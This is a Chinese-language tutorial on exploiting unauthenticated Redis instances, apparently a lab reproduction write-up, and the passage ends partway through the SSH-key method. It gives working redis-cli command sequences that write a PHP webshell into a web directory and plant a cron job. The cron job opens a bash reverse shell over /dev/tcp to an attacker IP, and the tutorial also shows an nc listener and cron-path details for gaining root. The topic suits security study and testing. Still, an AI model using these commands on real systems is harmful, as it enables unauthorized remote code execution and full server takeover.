Redis未授权漏洞总结
0x00 Redis介绍
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:
- 基于内存运行,性能高效
- 支持分布式,理论上可以无限扩展
- key-value存储系统
- 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
目前guthub/twitter/微博/阿里/美团/百度等大厂都在使用Redis,Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。
0x01 漏洞原理
redis-4.0.10 之前的版本 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
redis-4.0.10 之后的版本 默认开启了保护模式,仅允许本地无密码验证连接。如果再想利用,可能就要考虑弱口令和配置错误了。
提权攻击:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
0x02 环境搭建
靶机 ubuntu@server-redis-test ip:123.207.54.204
攻击机:kali2020
Redis: 6.0.6版本
0x03 未授权复现
0x03.1 redis安装
- 下载、解压、编译
wget http://download.redis.io/releases/redis-6.0.6.tar.gz # 下载压缩包
tar -zxvf redis-6.0.6.tar.gz #解压
cd redis-6.0.6 # 切换目录
make #安装
make install
- 测试验证是否安装成功
0x03.2 配置文件修改
- 修改redis.conf配置文件,关闭保护模式使可以远程访问:
nano redis.conf # 编辑 配置文件
# 关闭默认情况下安全模式
bind 127.0.0.1前面加上#号
protected-mode设为no
注释:
- 关闭protected-mode模式,此时外部网络可以直接访问
- 开启protected-mode保护模式,需配置bind ip或者设置访问密码
- redis.conf配置文件中daemonize守护线程,默认是NO
- 现实业务中,经常为了方便将配置文件做如上修改。
- 在4.0.10之前的版本中是不存在安全模式的,不用修改默认配置文件可直接无密码登陆redis
0x03.3 开启redis服务
./src/redis-server redis.conf
0x03.4 未授权验证
- 命令行登陆redis,获取默认的redis目录、和rdb文件名
- 至此我们实现了未授权访问 Redis 以及读取 Redis 的数据。接下来我们根据服务器开启redis服务时相关权限,尝试通过登陆redis之后的提权技巧。
0x04 提权
- 根据环境使用三种方式进行提权操作
0x04.1 绝对路径写入webshell
利用条件:
- 服务器开着web服务
- redis有web目录写权限
前置知识点:
config set dir xxxxx # 指定本地数据库存放目录
config set dbfilename xxxxx.rdb # 指定本地数据库文件名,默认值为 dump.rdb
set x “test” # 将变量x的值设为test
据此我们可以尝试将webshell假装为数据库文件写入到web路径当中,假设通过网站测试发现了web路径/var/www/xss_platform
123.207.54.204:6379> config set dir /var/www/xss_platform # 设置redis目录为 web路径
OK
123.207.54.204:6379> config set dbfilename shell.php # 设置数据库文件为shell.php
OK
123.207.54.204:6379> set x "<?php phpinfo();?>" # 使用set命令将shell代码写入到shell.php
OK
123.207.54.204:6379> save #将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘,也就是将shell.php文件保存起来
OK
此时我们在浏览器中访问刚才保存的shell.php,如下图
若传入的是大马即可立即拿到服务器的权限
0x04.2 crontab任务反弹shell
利用条件:
- redis以root权限运行
前置知识
ubuntu下可以利用的cron有以下几个地方:
- /etc/crontab:该文件里面的任务计划可以直接执行
- /etc/cron.d/*:该目录下的任意文件都可以被当作任务计划去执行,并且避免了原先任务计划文件被覆盖的情况
- /var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,不过需要有一个前提,就是该任务计划文件的权限必须为600
CentOS下计划任务文件
- /etc/crontab:该文件里面的任务计划可以直接执行
- /var/spool/cron/root:该文件里面的任务计划可以直接执行
这里我们分别使用ubuntu靶机和CentOS靶机进行反弹shell测试
0x04.2.1 CentOS系统写入反弹shell
先在攻击机上监听自定义端口
nc -lvnp 23333
然后新开一个终端写入如下命令
123.207.54.204:6379> set xx "\n* * * * * /bin/bash -i >& /dev/tcp/118.24.127.188/23333 0>&1\n"
OK
123.207.54.204:6379> config set dir /var/spool/cron/
OK
123.207.54.204:6379> config set dbfilename root
OK
123.207.54.204:6379> save
OK
一分钟左右,顺利拿到反弹shell,如下图服务器权限为root
0x04.2.2 ubuntu系统写入反弹shell
- 前置知识
linux里面的cron中command执行的shell环境是/bin/sh
而ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是bash
$ ls -al /bin/sh lrwxrwxrwx 1 root root /bin/sh -> dash
所以我们先将修改软连接指向
$ ln -s -f bash /bin/sh $ ls -al /bin/sh lrwxrwxrwx 1 root root /bin/sh -> bash
- ubuntu下写入
/var/spool/cron/crontabs/
目录
同样的流程,但这次等了半天却没有成功反弹
为了探究到底什么原因导致没有成功,我们在靶机上查看系统日志,如下图,可以看到是因为写入的root文件的权限不是预期600而报错
查看写入root文件权限为644,因此在/var/spool/cron/crontabs
目录下不能进行反弹
- 写入**
/etc/cron.d
**和/etc/crontab
经过测试还是无法成功反弹shell
查看日志错误原因是**ERROR (Syntax error, this crontab file will be ignored)
**,即redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的。
- 总结
- 如果写
/etc/crontab
和/etc/cron.d
,由于存在乱码,语法不识别,会导致ubuntu不能正确识别,导致定时任务失败。 - 如果写
/var/spool/cron/crontabs/root
,权限是644,ubuntu不能运行。
0x04.3 写入公钥ssh远程登陆服务器
利用条件:
- redis以root权限运行
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
前置知识:
SSH 提供了公钥登录,